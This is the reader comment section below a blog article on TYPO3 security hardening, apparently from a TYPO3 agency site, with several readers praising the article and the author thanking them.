    Awesome article on TYPO3 security Setup. TYPO3 is easy, but to managed it need lots of study & research. Your blog helps the TYPO3 community more than you can imagine. I even share your blog on the recent TYPO3 meet-up as one of the best guidelines.
  • Uwe Muller June 8, 2021 Beim 3:09 pm
    This was super-useful. I have the coding skills to implement all of it, and now I can take much better care of my and my clients’ TYPO3 installations. Thank you for the info, it’s so complete that I can’t believe it’s free xD
  • Florian Baum July 6, 2020 Beim 11:48 am
    Hi Sanjay, I never read such a detailed article on TYPO3 security. You have explained the topic in a brilliant way & shares valuable insights on hacking methods and preventions. I appreciate your tips and guidance on hardening TYPO3 security. It will be very useful for anyone who are running websites on TYPO3.
    • Sanjay July 9, 2020 Beim 1:58 pm
      Dear Florian Baum, Thanks for your appreciation. Makes us happy to keep doing our best
  • Andrea Ziegler July 6, 2020 Beim 11:47 am
    Very informative article. Great steps for making TYPO sites secure and by following stated steps to reduce risk factor up to some extent.
    • Sanjay July 9, 2020 Beim 1:59 pm
      Dear Andrea Ziegle, thank you so much. I’m so glad you found it helpful

Stay up to date with our recent TYPO3 Blogs, news, & updates